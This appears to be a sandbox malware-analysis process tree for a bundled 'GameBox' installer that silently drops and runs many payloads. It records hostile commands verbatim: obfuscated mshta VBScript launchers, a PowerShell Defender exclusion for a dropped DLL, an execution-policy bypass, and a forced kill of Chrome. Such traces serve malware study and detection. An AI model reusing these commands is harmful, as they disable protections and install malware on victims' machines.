C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\6130319.exe"C:\Users\Admin\AppData\Roaming\6130319.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\2675600.exe"C:\Users\Admin\AppData\Roaming\2675600.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\1785348.exe"C:\Users\Admin\AppData\Roaming\1785348.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\5493209.exe"C:\Users\Admin\AppData\Roaming\5493209.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\8782359.exe"C:\Users\Admin\AppData\Roaming\8782359.exe"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-789PP.tmp\MediaBurner2.tmp"C:\Users\Admin\AppData\Local\Temp\is-789PP.tmp\MediaBurner2.tmp" /SL5="$4037E,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-40RHI.tmp\3377047_logo_media.exe"C:\Users\Admin\AppData\Local\Temp\is-40RHI.tmp\3377047_logo_media.exe" /S /UID=burnerch27⤵
-
C:\Program Files\Windows NT\VBUHKXKSEW\ultramediaburner.exe"C:\Program Files\Windows NT\VBUHKXKSEW\ultramediaburner.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-H8GAV.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-H8GAV.tmp\ultramediaburner.tmp" /SL5="$205AE,281924,62464,C:\Program Files\Windows NT\VBUHKXKSEW\ultramediaburner.exe" /VERYSILENT9⤵
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
-
C:\Users\Admin\AppData\Local\Temp\29-b26ad-9b7-2f69c-42823af9ed4c5\Wytydocyxu.exe"C:\Users\Admin\AppData\Local\Temp\29-b26ad-9b7-2f69c-42823af9ed4c5\Wytydocyxu.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\27-32f73-794-b2395-28db1990878e9\SHufoquwaeke.exe"C:\Users\Admin\AppData\Local\Temp\27-32f73-794-b2395-28db1990878e9\SHufoquwaeke.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\is4k2aze.kki\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\is4k2aze.kki\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\is4k2aze.kki\GcleanerEU.exe /eufive10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y5bxj4qs.ida\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\y5bxj4qs.ida\installer.exeC:\Users\Admin\AppData\Local\Temp\y5bxj4qs.ida\installer.exe /qn CAMPAIGN="654"10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yjnwl10o.csi\ufgaa.exe & exit9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hpnjjg1c.4wp\anyname.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\hpnjjg1c.4wp\anyname.exeC:\Users\Admin\AppData\Local\Temp\hpnjjg1c.4wp\anyname.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\hpnjjg1c.4wp\anyname.exe"C:\Users\Admin\AppData\Local\Temp\hpnjjg1c.4wp\anyname.exe" -q11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fpwcrj3c.yqh\gcleaner.exe /mixfive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\fpwcrj3c.yqh\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\fpwcrj3c.yqh\gcleaner.exe /mixfive10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2uevfvqt.p3e\autosubplayer.exe /S & exit9⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-T3GF2.tmp\VPN.tmp"C:\Users\Admin\AppData\Local\Temp\is-T3GF2.tmp\VPN.tmp" /SL5="$10368,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\is-I7OSV.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-I7OSV.tmp\Setup.exe" /silent /subid=7207⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DKO2D.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-DKO2D.tmp\Setup.tmp" /SL5="$20520,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-I7OSV.tmp\Setup.exe" /silent /subid=7208⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "9⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090110⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "9⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090110⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall9⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install9⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent5⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet5⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629405736 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"5⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"5⤵
-
C:\Users\Admin\Documents\WdG8uUEf1Ls6d6RaIX4PaLzY.exe"C:\Users\Admin\Documents\WdG8uUEf1Ls6d6RaIX4PaLzY.exe"6⤵
-
C:\Users\Admin\Documents\LYj_47xF9XzU2jT8WR0TdtQa.exe"C:\Users\Admin\Documents\LYj_47xF9XzU2jT8WR0TdtQa.exe"6⤵
-
C:\Users\Admin\Documents\uNZvYR3t6olBxgjD_mFAdTCu.exe"C:\Users\Admin\Documents\uNZvYR3t6olBxgjD_mFAdTCu.exe"6⤵
-
C:\Users\Admin\Documents\391M1zLhI3UZyHxsmePohwTO.exe"C:\Users\Admin\Documents\391M1zLhI3UZyHxsmePohwTO.exe"6⤵
-
C:\Users\Admin\Documents\391M1zLhI3UZyHxsmePohwTO.exe"C:\Users\Admin\Documents\391M1zLhI3UZyHxsmePohwTO.exe"7⤵
-
C:\Users\Admin\Documents\JNZAzahb4vTJScUESrAXEjXk.exe"C:\Users\Admin\Documents\JNZAzahb4vTJScUESrAXEjXk.exe"6⤵
-
C:\Users\Admin\Documents\eGUBSujjT777WO8IcoCxXZq0.exe"C:\Users\Admin\Documents\eGUBSujjT777WO8IcoCxXZq0.exe"6⤵
-
C:\Users\Admin\Documents\eGUBSujjT777WO8IcoCxXZq0.exeC:\Users\Admin\Documents\eGUBSujjT777WO8IcoCxXZq0.exe7⤵
-
C:\Users\Admin\Documents\7WxUdnhkWvDXiAodwbgSs61G.exe"C:\Users\Admin\Documents\7WxUdnhkWvDXiAodwbgSs61G.exe"6⤵
-
C:\Users\Admin\Documents\DetMogVilDnYKTXQtvhOKzvI.exe"C:\Users\Admin\Documents\DetMogVilDnYKTXQtvhOKzvI.exe"6⤵
-
C:\Users\Admin\Documents\ohEK1DUl0onKZvOaheyzg4FK.exe"C:\Users\Admin\Documents\ohEK1DUl0onKZvOaheyzg4FK.exe"6⤵
-
C:\Users\Admin\Documents\ohEK1DUl0onKZvOaheyzg4FK.exe"C:\Users\Admin\Documents\ohEK1DUl0onKZvOaheyzg4FK.exe"7⤵
-
C:\Users\Admin\Documents\WqE3O13P7jVXb6CEkUI8SR6S.exe"C:\Users\Admin\Documents\WqE3O13P7jVXb6CEkUI8SR6S.exe"6⤵
-
C:\Users\Admin\Documents\WqE3O13P7jVXb6CEkUI8SR6S.exe"C:\Users\Admin\Documents\WqE3O13P7jVXb6CEkUI8SR6S.exe"7⤵
-
C:\Users\Admin\Documents\0UEND7NPaNKf0Ma0gTHj3fa7.exe"C:\Users\Admin\Documents\0UEND7NPaNKf0Ma0gTHj3fa7.exe"6⤵
-
C:\Users\Admin\Documents\Fs9t4WVYU5lB0L3sBF7WAMVF.exe"C:\Users\Admin\Documents\Fs9t4WVYU5lB0L3sBF7WAMVF.exe"6⤵
-
C:\Users\Admin\Documents\Fs9t4WVYU5lB0L3sBF7WAMVF.exeC:\Users\Admin\Documents\Fs9t4WVYU5lB0L3sBF7WAMVF.exe7⤵
-
C:\Users\Admin\Documents\rQiA0tI5DVTS9HLPYdNnMCA4.exe"C:\Users\Admin\Documents\rQiA0tI5DVTS9HLPYdNnMCA4.exe"6⤵
-
C:\Users\Admin\Documents\3FaavBJaokI_lej8oZfGTj3j.exe"C:\Users\Admin\Documents\3FaavBJaokI_lej8oZfGTj3j.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\3FaavBJaokI_lej8oZfGTj3j.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\3FaavBJaokI_lej8oZfGTj3j.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\3FaavBJaokI_lej8oZfGTj3j.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\3FaavBJaokI_lej8oZfGTj3j.exe" ) do taskkill -f -iM "%~NxA"8⤵
-
C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXEhbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"11⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "3FaavBJaokI_lej8oZfGTj3j.exe"9⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\xy9mYUhZPHq0Hxk0fo4OUFRe.exe"C:\Users\Admin\Documents\xy9mYUhZPHq0Hxk0fo4OUFRe.exe"6⤵
-
C:\Users\Admin\Documents\2RWn8B0y2eeK6x2urAwOLwxA.exe"C:\Users\Admin\Documents\2RWn8B0y2eeK6x2urAwOLwxA.exe"6⤵
-
C:\Users\Admin\Documents\MoZTDZHbT2rl6qyhdhEpZ_5J.exe"C:\Users\Admin\Documents\MoZTDZHbT2rl6qyhdhEpZ_5J.exe"6⤵
-
C:\Users\Admin\Documents\WR6liSpun6H3utGqvV6xSPcP.exe"C:\Users\Admin\Documents\WR6liSpun6H3utGqvV6xSPcP.exe"6⤵
-
C:\Users\Admin\Documents\FmnbOnDx1zF_7gGz8NmIyxL9.exe"C:\Users\Admin\Documents\FmnbOnDx1zF_7gGz8NmIyxL9.exe"6⤵
-
C:\Users\Admin\Documents\74dCogh4bRBupd0jiB7fKFmR.exe"C:\Users\Admin\Documents\74dCogh4bRBupd0jiB7fKFmR.exe"6⤵
-
C:\Users\Admin\Documents\EcsXenhr2BwXfANlN2ZQQkJi.exe"C:\Users\Admin\Documents\EcsXenhr2BwXfANlN2ZQQkJi.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\7151983.exe"C:\Users\Admin\AppData\Roaming\7151983.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\1411729.exe"C:\Users\Admin\AppData\Roaming\1411729.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\6262357.exe"C:\Users\Admin\AppData\Roaming\6262357.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2781223.exe"C:\Users\Admin\AppData\Roaming\2781223.exe"7⤵
-
C:\Users\Admin\Documents\w7fUJZe_8o07xQS_3KKve27j.exe"C:\Users\Admin\Documents\w7fUJZe_8o07xQS_3KKve27j.exe"6⤵
-
C:\Users\Admin\Documents\2SoJ855qQ7ovs9YFC4obK4Sx.exe"C:\Users\Admin\Documents\2SoJ855qQ7ovs9YFC4obK4Sx.exe"6⤵
-
C:\Users\Admin\Documents\ub_XjgSP6HXg91m0OhCI3KCr.exe"C:\Users\Admin\Documents\ub_XjgSP6HXg91m0OhCI3KCr.exe"6⤵
-
C:\Users\Admin\Documents\ub_XjgSP6HXg91m0OhCI3KCr.exe"C:\Users\Admin\Documents\ub_XjgSP6HXg91m0OhCI3KCr.exe" -q7⤵
-
C:\Users\Admin\Documents\OYbqnY35ui9OF04V68dsP6HW.exe"C:\Users\Admin\Documents\OYbqnY35ui9OF04V68dsP6HW.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-HCOSU.tmp\OYbqnY35ui9OF04V68dsP6HW.tmp"C:\Users\Admin\AppData\Local\Temp\is-HCOSU.tmp\OYbqnY35ui9OF04V68dsP6HW.tmp" /SL5="$1057A,138429,56832,C:\Users\Admin\Documents\OYbqnY35ui9OF04V68dsP6HW.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1BJTC.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-1BJTC.tmp\Setup.exe" /Verysilent8⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"9⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629405736 /qn CAMPAIGN=""710"" " CAMPAIGN="710"10⤵
-
C:\Users\Admin\Documents\wpW3lGTAxbAmz5vmKmcvImd_.exe"C:\Users\Admin\Documents\wpW3lGTAxbAmz5vmKmcvImd_.exe"6⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\WPW3LG~1.DLL,s C:\Users\Admin\DOCUME~1\WPW3LG~1.EXE7⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\WPW3LG~1.DLL,klk5aw==8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\WPW3LG~1.DLL9⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\WPW3LG~1.DLL,QzQO9⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 3180410⤵
-
C:\Windows\system32\ctfmon.exectfmon.exe11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp34EE.tmp.ps1"9⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp2235_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp2235_tmp.exe"6⤵
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks7⤵
-
C:\Windows\SysWOW64\cmd.execmd8⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comEsplorarne.exe.com i9⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i10⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i11⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i12⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i13⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i14⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i15⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i16⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i17⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i18⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i19⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i20⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i21⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i22⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i23⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i24⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i25⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i26⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i27⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i28⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i29⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i30⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i31⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i32⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i33⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i34⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i35⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i36⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i37⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i38⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i39⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i40⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i41⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i42⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i43⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i44⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i45⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i46⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i47⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i48⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i49⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i50⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i51⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i52⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i53⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i54⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i55⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i56⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i57⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i58⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i59⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i60⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i61⤵
-
